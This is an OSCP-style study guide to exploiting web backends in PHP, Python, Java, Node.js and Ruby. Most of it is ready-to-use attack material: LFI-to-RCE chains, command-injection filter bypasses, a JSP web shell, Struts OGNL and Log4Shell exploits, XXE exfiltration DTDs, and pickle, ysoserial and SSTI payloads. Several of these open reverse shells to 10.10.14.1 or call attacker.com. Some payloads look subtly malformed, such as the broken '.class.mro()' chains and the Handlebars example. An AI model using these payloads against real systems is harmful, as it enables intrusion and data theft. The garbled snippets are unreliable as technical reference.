Backend Technologies
Overview
Understanding backend technologies is fundamental for OSCP web exploitation. Each language has its own set of dangerous functions, common vulnerabilities, and exploitation patterns. This guide covers the five most common backend technologies encountered in OSCP labs: PHP, Python, Java, Node.js, and Ruby.
PHP
PHP is by far the most common backend language in OSCP labs. Understanding PHP-specific vulnerabilities is essential for exam success.
Why PHP Dominates OSCP Labs
- Ubiquity: Most lab machines run PHP (often with Apache)
- Default configurations: Often deployed with dangerous settings enabled
- Error handling: Verbose errors by default, leaking information
- Common CMS: WordPress, Drupal, Joomla are PHP-based
Critical PHP Functions
These functions are the primary attack vectors for PHP exploitation:
Command Execution Functions
system('whoami'); // Execute command, output result
exec('whoami'); // Execute command, return last line
passthru('whoami'); // Execute command, raw output
shell_exec('whoami'); // Execute command, return all output as string
proc_open('whoami', ...); // Execute command with process control
popen('whoami', 'r'); // Execute command, open pipe
pcntl_exec('/bin/sh', ...); // Replace current process
OSCP Tip: When you find a command injection point, test with these characters to chain commands:
; # Semicolon - separate commands
| # Pipe - output of one to input of another
|| # OR - execute if first fails
& # AND (background on Linux)
&& # AND - execute if first succeeds
` # Backticks - command substitution
$() # Command substitution
File Inclusion Functions
include('file.php'); // Include and evaluate, warning on failure
include_once('file.php'); // Include only once
require('file.php'); // Include and evaluate, fatal error on failure
require_once('file.php'); // Require only once
Code Execution Functions
eval('$x = 1;'); // Execute string as PHP code
assert('$x == 1'); // Evaluate expression (pre-PHP 8.0)
create_function('...', '...'); // Create anonymous function (deprecated)
Deserialization
unserialize($data); // Deserialize PHP object/data
PHP Local File Inclusion (LFI)
LFI occurs when user input is passed directly to an include/require function.
Basic LFI Exploitation
# Read system files
http://target/page.php?page=../../../../etc/passwd
# Read PHP source code via filter wrapper
http://target/page.php?page=php://filter/convert.base64-encode/resource=config.php
# Execute PHP via data wrapper
http://target/page.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
# PHP input wrapper for POST data
http://target/page.php?page=php://input
POST body: <?php system('whoami'); ?>
LFI to RCE via Log Files
# 1. Inject payload into Apache access log
curl -A '<?php system("whoami"); ?>' http://target/
# 2. Include the log file
http://target/page.php?page=../../../../var/log/apache2/access.log
LFI to RCE via /proc/self/environ
# 1. Send payload in User-Agent
curl -H "User-Agent: <?php system('whoami'); ?>" http://target/
# 2. Include environ file
http://target/page.php?page=../../../../proc/self/environ
LFI to RCE via PHP Sessions
# 1. Set cookie with PHP payload
Cookie: PHPSESSID=attacker; session_data=<?php system('whoami'); ?>
# 2. Include session file
http://target/page.php?page=../../../../var/lib/php/sessions/sess_attacker
Null Byte Truncation (PHP < 5.3.4)
http://target/page.php?page=../../../../etc/passwd%00
# The .php extension is truncated, allowing arbitrary file read
PHP Remote File Inclusion (RFI)
RFI requires allow_url_include=On in php.ini.
# Basic RFI
http://target/page.php?page=http://attacker.com/shell.txt
# RFI via PHP wrapper
http://target/page.php?page=expect://id
# RFI via data URI
http://target/page.php?page=data://text/plain,<?php system('whoami'); ?>
OSCP Tip: If RFI is available, you can also use:
# PHP expect wrapper (if expect module installed)
http://target/page.php?page=expect://cat /etc/passwd
# PHP expect wrapper for interactive shell
http://target/page.php?page=expect://bash -i >& /dev/tcp/10.10.14.1/9001 0>&1
PHP Command Injection
Common entry points in OSCP labs:
# Vulnerable code patterns
system($_GET['cmd']);
exec($_POST['command']);
shell_exec($_REQUEST['input']);
passthru($user_input);
`whoami $user_input`; // Backtick execution
Exploitation Techniques
# Basic command injection
http://target/vuln.php?cmd=;cat /etc/passwd
# Bypassing filters with encoding
http://target/vuln.php?cmd=${cat /etc/passwd}
http://target/vuln.php?cmd=$(cat /etc/passwd)
# Bypassing space filters
http://target/vuln.php?cmd=cat${IFS}/etc/passwd
http://target/vuln.php?cmd=cat</etc/passwd
# Bypassing keyword filters
http://target/vuln.php?cmd=ca''t /etc/passwd
http://target/vuln.php?cmd=ca\t /etc/passwd
http://target/vuln.php?cmd=c[a]t /etc/passwd
PHP Deserialization
PHP stores serialized objects in a specific format:
O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"role";s:4:"user";}
Magic Methods for Exploitation
__construct() // Called when object is created
__destruct() // Called when object is destroyed
__wakeup() // Called when object is unserialized
__sleep() // Called before serialization
__toString() // Called when object is converted to string
__invoke() // Called when object is called as function
__unset() // Called on unset()
__autoload() // Called when undefined class is used
Creating a PHP Serialization Exploit
<?php
class VulnerableClass {
public $cmd = 'whoami';
function __destruct() {
system($this->cmd);
}
}
$obj = new VulnerableClass();
$obj->cmd = 'cat /etc/shadow';
echo serialize($obj);
// Output: O:15:"VulnerableClass":1:{s:3:"cmd";s:15:"cat /etc/shadow";}
?>
Bypassing __wakeup() (CVE-2016-7124)
If the serialized object’s property count is greater than the actual count, __wakeup() is skipped:
# Original: O:4:"Test":1:{...}
# Modified: O:4:"Test":2:{...} # Change 1 to 2 to bypass __wakeup
PHP Information Disclosure
# PHP info page
http://target/info.php
http://target/phpinfo.php
# Common PHP files to check
http://target/.htaccess
http://target/php.ini
http://target/.php_history
http://target/.php_includes
Python
Python web applications are common in OSCP labs, especially with Flask and Django frameworks.
Critical Python Functions
Command Execution
import os
os.system('whoami') # Execute command, return exit code
os.popen('whoami').read() # Execute command, return file object
subprocess.call(['whoami']) # Execute command
subprocess.Popen('whoami') # Execute command with more control
subprocess.check_output() # Execute and capture output
Code Execution
eval('__import__("os").system("whoami")')
exec('import os; os.system("whoami")')
compile('import os', '<string>', 'exec')
Dangerous Standard Library Modules
import pickle # Deserialization
import marshal # Deserialization
import shelve # Uses pickle internally
import yaml # Deserialization (unsafe load)
import subprocess # Command execution
import os # System interaction
Python Pickle Deserialization
CRITICAL: Pickle is inherently unsafe. Never unpickle untrusted data.
Vulnerable Code Pattern
import pickle
# VULNERABLE - never do this with untrusted input
data = request.GET.get('data')
obj = pickle.loads(base64.b64decode(data))
Creating a Pickle Exploit
import pickle
import base64
class Exploit(object):
def __reduce__(self):
import os
return (os.system, ('whoami',))
# Generate payload
payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)
Advanced Pickle Exploit (Reverse Shell)
import pickle
import base64
class Exploit(object):
def __reduce__(self):
import subprocess
cmd = 'bash -i >& /dev/tcp/10.10.14.1/9001 0>&1'
return (subprocess.call, (cmd,))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
Python SSTI (Server-Side Template Injection)
Jinja2 SSTI
Jinja2 is the default template engine for Flask. It’s one of the most dangerous SSTI vectors.
Detection
# Basic test
{{7*7}} # Returns 49 if vulnerable
{{7*'7'}} # Returns 7777777 if vulnerable
{{config}} # Returns Flask config if vulnerable
Payload Progression
# Step 1: Confirm SSTI
{{7*7}}
# Step 2: Access self
{{self}}
# Step 3: Access config
{{config}}
{{config.items}}
# Step 4: Access classes
{{''.class.mro()[1].subclasses()}}
# Step 5: Find useful class (file writer, usually index 40-80)
{{''.class.mro()[1].subclasses()[40]}}
# Step 6: Read files
{{''.class.mro()[1].subclasses()[40]("/etc/passwd").read()}}
# Step 7: Write files
{{''.class.mro()[1].subclasses()[40]("/tmp/shell.py","w").write("import os; os.system('whoami')")}}
# Step 8: Execute code via __init__
{{config.__class__.__init__.__globals__['os'].system('whoami')}}
# Step 9: Full RCE chain
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Complete Jinja2 RCE Payload
# One-liner for command execution
{{''.class.mro()[1].subclasses()[59]['__init__'].globals()['os'].popen('id').read()}}
# Alternative using config globals
{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}
# Reverse shell
{{config.__class__.__init__.__globals__['os'].system('bash -i >& /dev/tcp/10.10.14.1/9001 0>&1')}}
Finding the Right Subclass Index
# Common useful subclasses and their typical indices
40-50: file (Python 2) / io.IOBase subclasses (Python 3)
59-70: subprocess.Popen
123+: site._Printer, _io.TextIOWrapper
# Brute force all subclasses
{% for c in "".class.mro()[1].subclasses() %}
{{ loop.index }}: {{ c }}
{% endfor %}
Python Command Injection
Common Vulnerable Patterns
# Vulnerable patterns
os.system(f"ping {user_input}")
subprocess.call(f"nmap {user_input}", shell=True)
os.popen(f"grep {user_input} /var/log/syslog")
# Safe alternatives (not vulnerable)
subprocess.call(["ping", user_input]) # No shell=True
Exploitation
# Basic injection
; cat /etc/passwd
| cat /etc/passwd
&& cat /etc/passwd
# Python-specific injection
__import__('os').system('whoami')
Python Web Framework Vulnerabilities
Flask-Specific
# Debug mode pin (Flask < 2.2)
# Access /debug?__debugger__=yes&cmd=command& s=PIN&expr=code
# PIN found in error page or /flask-debug-toolbar
# Werkzeug debugger RCE
http://target/?__debugger__=yes&cmd=command&s=PIN&expr=__import__('os').system('whoami')
Django-Specific
# Raw SQL injection
User.objects.raw("SELECT * FROM auth_user WHERE username=' OR 1=1--")
# Template injection
{{ request.GET.cmd | cut:"0" }} # Filter abuse
Java
Java applications are common in enterprise OSCP labs. Java deserialization is a major attack vector.
Critical Java Classes and Methods
Command Execution
Runtime.getRuntime().exec("whoami");
new ProcessBuilder("whoami").start();
Deserialization
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // VULNERABLE with untrusted input
XML Processing
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.newDocumentBuilder().parse(inputStream); // XXE vulnerable
Java Deserialization
Java deserialization exploits are among the most powerful attacks in OSCP.
CommonsCollections Gadget Chains
The CommonsCollections library provides gadget chains for RCE.
Common Gadget Chains by Version
CommonsCollections 1 - CC1 (InvokerTransformer chain)
CommonsCollections 2 - CC2, CC3, CC4, CC5, CC6
CommonsCollections 3 - CC32, CC33, CC34, CC35, CC36
# Most reliable chains for OSCP:
CC1 - Requires CommonsCollections 3.1+
CC2 - Requires CommonsCollections 4.0+
CC3 - URL-based, works with 3.1+
CC32 - Works with CommonsBeanUtils
Using ysoserial
# Generate payload
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
java -jar ysoserial.jar CommonsCollections5 "bash -c 'bash -i >& /dev/tcp/10.10.14.1/9001 0>&1'" > payload.bin
# Available gadgets
java -jar ysoserial.jar # Lists all available gadget chains
# Common gadgets for OSCP
CommonsCollections1-6
CommonsBeanutils1
Groovy1
Jdk7u21
Jython1
Spring1, Spring2
Creating a Deserialization Listener
# Start a listener for serialized payloads
java -cp ysoserial.jar Serializer http://10.10.14.1:8000/payload.bin
# Or use a Python HTTP server
python3 -m http.server 8000
Finding Deserialization Points
# Search for ObjectInputStream in source
grep -r "ObjectInputStream" --include="*.java" .
# Search for readObject
grep -r "readObject" --include="*.java" .
# Burp Suite: Look for base64-encoded data in requests
# Java serialized data starts with: rO0AB (AC ED 00 05 in hex)
JSP Injection
JSP Shell Upload
<%
if("pass1234".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
Uploading JSP Shell
# Via file upload
curl -X POST http://target/upload \
-F "file=@shell.jsp" \
-F "path=/var/www/html/"
# Access the shell
http://target/shell.jsp?pwd=pass1234&cmd=id
Struts OGNL Injection
Apache Struts is vulnerable to OGNL (Object Graph Navigation Language) injection.
S2-016 (Action Tag Injection)
# Method injection
?action:memberAccess["allowStaticMethodAccess"]=true&action:debug="command"
# Command execution
?action:classpath="file:///etc/passwd"
S2-045 (Content-Type Injection)
# Exploit via Content-Type header
curl -H "Content-Type: %{#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}" \
http://target/action
S2-057 (OAuth Validation)
curl -H "Content-Type: %{(#rustdec='multipart').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
http://target/
Log4Shell (CVE-2021-44228)
Log4j JNDI injection allows remote code execution.
Detection
# Inject Log4j lookup pattern
${jndi:ldap://10.10.14.1:1389/exploit}
${jndi:rmi://10.10.14.1:1099/exploit}
${jndi:dns://10.10.14.1/exploit}
# Test in various locations
User-Agent: ${jndi:ldap://10.10.14.1/exploit}
Cookie: session=${jndi:ldap://10.10.14.1/exploit}
Exploitation with JNDI Exploit Server
# Clone and build JNDI exploit
git clone https://github.com/veracode-research/jndi-exploit.git
cd jndi-exploit
mvn clean package -DskipTests
# Run the exploit server
java -cp target/jndi-exploit-1.2-SNAPSHOT-all.jar \
JndiExploitServer -i 10.10.14.1 -p 8888
# Or use marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
http://10.10.14.1:8000/#Exploit 1389
Generating the Exploit Class
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] cmds = {"bash", "-c", "bash -i >& /dev/tcp/10.10.14.1/9001 0>&1"};
Process pc = rt.exec(cmds);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
# Compile and serve
javac Exploit.java
python3 -m http.server 8000
Java XXE
Vulnerable Code
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Missing secure configuration
Document doc = dbf.newDocumentBuilder().parse(xmlInput);
Exploitation
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
Blind XXE via Error Channel
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.10.14.1/evil.dtd">
%xxe;
]>
<root/>
evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.1/?data=%file;'>">
%all;
Node.js
Node.js applications are increasingly common in OSCP labs.
Critical Node.js Modules
Command Execution
const { exec, execSync, execFile, spawn, spawnSync } = require('child_process');
exec('whoami', (err, stdout) => { /* ... */ });
execSync('whoami');
spawn('bash', ['-c', 'whoami']);
Code Execution
eval('require("child_process").execSync("whoami").toString()');
Function('return require("child_process").execSync("whoami")')();
vm.runInThisContext('require("child_process").execSync("whoami")');
Node.js Prototype Pollution
Prototype pollution allows modifying Object.prototype, affecting all objects.
Vulnerable Code
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key]; // VULNERABLE
}
}
}
Exploitation
// JSON payload
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
// Via query parameter
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true
// Detection
{}.__proto__.isAdmin // Returns true if polluted
// RCE via prototype pollution
{"__proto__": {"exec": "child_process"}}
// Then abuse polluted properties
Prototype Pollution to RCE
// Pollute require
{"__proto__": {"__proto__": {"execSync": "whoami"}}}
// Pollute util
{"__proto__": {"__proto__": {"format": "%s"}}}
// Via constructor
{"constructor": {"prototype": {"isAdmin": true}}}
Node.js SSTI
EJS Template Injection
# Detection
<%= global.process.mainModule.require('child_process').execSync('id').toString() %>
# RCE
<%= global.process.mainModule.require('child_process').execSync('whoami').toString() %>
# Alternative
<%=.constructor('return process')().mainModule.require('child_process').execSync('id') %>
Handlebars Injection
# Detection
{{this}}
{{constructor}}
# RCE
{{#with "constructor" as string}}{{split string this}[7]}}{{/with}}
# Full chain
{{#with "a"}}{{#with "a"}}{{#with "a"}}{{#with "a"}}{{#with "a"}}
{{#with "return unescape(require('child_process').exec('id'))"}}
{{constructor.constructor constructor}}
{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}
Node.js Command Injection
Vulnerable Patterns
// VULNERABLE
exec(`ping ${userInput}`);
exec(`nmap ${userInput}`, { shell: true });
# SAFE
execFile('ping', [userInput]);
spawn('ping', [userInput]);
Exploitation
# Standard injection
; cat /etc/passwd
| cat /etc/passwd
$(cat /etc/passwd)
`cat /etc/passwd`
# Node.js specific
;require('child_process').execSync('whoami')
NoSQL Injection (MongoDB)
Vulnerable Code
// VULNERABLE
db.users.find({ username: req.body.username, password: req.body.password });
# SAFE
db.users.findOne({ username: req.body.username });
// Then compare password separately
Exploitation
# Bypass authentication
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": "adm.*"}, "password": {"$ne": null}}
# $where injection
{"$where": "return true"}
{"$where": "this.password.startsWith('pa')"}
# MapReduce injection
{"mapreduce": "users", "map": "function() { emit(this.user, this.password) }",
"reduce": "function(k, v) { return v }"}
Ruby
Ruby on Rails applications appear in some OSCP labs.
Critical Ruby Functions
Command Execution
system('whoami') # Execute command, return boolean
`whoami` # Backtick execution
%x(whoami) # Percent-x execution
exec('whoami') # Replace current process
IO.popen('whoami').read # Pipe execution
Code Execution
eval('system("whoami")')
instance_eval('system("whoami")')
Object.send(:remove_const, :ORIGINAL_GEM_PATH)
Ruby Deserialization
YAML Deserialization
# Vulnerable code
require 'yaml'
obj = YAML.load(user_input) # VULNERABLE
# Safe alternative
obj = YAML.safe_load(user_input)
YAML Exploit Payload
---
!ruby/object:Gem::Installer
i: x
!ruby/object:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
"= 0": !ruby/object:Gem::Version
version: !ruby/object:Gem::Source
remote_uri: &1 !ruby/object:URI::HTTPS
uri:
scheme: https
host: attacker.com
port: 443
fetched_files: []
dependencies: []
name: 0
version: 0
Marshal Deserialization
# Vulnerable code
obj = Marshal.load(user_input) # VULNERABLE
# Creating exploit
class Exploit
def initialize
system('whoami')
end
end
payload = Marshal.dump(Exploit.new)
Ruby Mass Assignment
Vulnerable Code
# VULNERABLE - Rails < 4
class UsersController < ApplicationController
def update
@user = User.find(params[:id])
@user.update(params[:user]) # Mass assignment!
end
end
Exploitation
# Add admin role via params
POST /users/1
{
"user": {
"name": "hacker",
"admin": true
}
}
Cross-Language Attack Summary
Quick Reference Table
| Language | Command Injection | Deserialization | SSTI | Key Functions |
|---|---|---|---|---|
| PHP | system(), exec() |
unserialize() |
N/A (PHP in templates) | eval(), include() |
| Python | os.system() |
pickle.loads() |
Jinja2 {{}} |
eval(), exec() |
| Java | Runtime.exec() |
ObjectInputStream |
N/A | ProcessBuilder |
| Node.js | child_process.exec() |
N/A | EJS <%= |
eval() |
| Ruby | `cmd` |
YAML.load() |
ERB <%= |
eval() |
OSCP Tips for Backend Exploitation
- Always check source code: Look for dangerous function calls in any exposed source
- Error messages are gold: Enable error display to find vulnerable parameters
- Try multiple injection characters:
;,|,&&,`,$() - Deserialization is high-value: If found, it often leads directly to RCE
- SSTI progression: Start simple (
{{7*7}}), work up to RCE - Check for debug modes: Flask debug, Django debug, Rails verbose errors
- Look for file upload: Often leads to web shell deployment
- Enumerate common paths:
/admin,/debug,/phpinfo.php,/.env
Essential Tools
# PHP
php -r 'echo serialize(new stdClass());' # Test serialization
php -r 'echo base64_encode("<?php system($_GET[\"cmd\"]); ?>");' # Encode shell
# Python
python3 -c 'import pickle, base64; print(base64.b64encode(pickle.dumps(...)))'
# Java
java -jar ysoserial.jar CommonsCollections5 "command" | base64
# Node.js
node -e "console.log(require('child_process').execSync('id').toString())"
# Ruby
ruby -e "require 'yaml'; puts YAML.dump(...)"
Common OSCP Lab Patterns
- PHP application with LFI → Read source → Find SQLi → Dump creds → SSH in
- Python Flask app → Debug mode → Pin found → Interactive console → RCE
- Java app with deserialization → ysoserial payload → Reverse shell
- Node.js app → Prototype pollution → Admin access → File upload → Web shell
- Ruby on Rails → Mass assignment → Admin role → Console access → RCE
Key Takeaways
- PHP is king in OSCP: Master LFI/RFI, command injection, and deserialization
- Python SSTI via Jinja2 is a common and powerful attack vector
- Java deserialization with ysoserial is a must-know technique
- Node.js prototype pollution can lead to authentication bypass
- Always look for source code exposure before attempting blind exploitation
- Debug modes are your friend: They often provide direct RCE paths
- Deserialization attacks are language-agnostic in concept but specific in implementation
- SSTI detection starts with simple arithmetic and escalates to full RCE
Exam Tips
- When you see a web app, immediately check for:
- PHP info pages (
/phpinfo.php,/info.php) - Admin panels (
/admin,/manager) - Debug endpoints (
/debug,/_debug) - Environment files (
/.env,/config.php) - Backup files (
*.bak,*.old,*.swp)
- PHP info pages (
- For PHP apps, always try LFI with
php://filterto read source code - For Python apps, check for Flask debug console and Django admin
- For Java apps, look for deserialization endpoints and Struts actions
- Keep a reverse shell ready for each language when you find command injection
- Document every finding — even failed attempts help build the attack narrative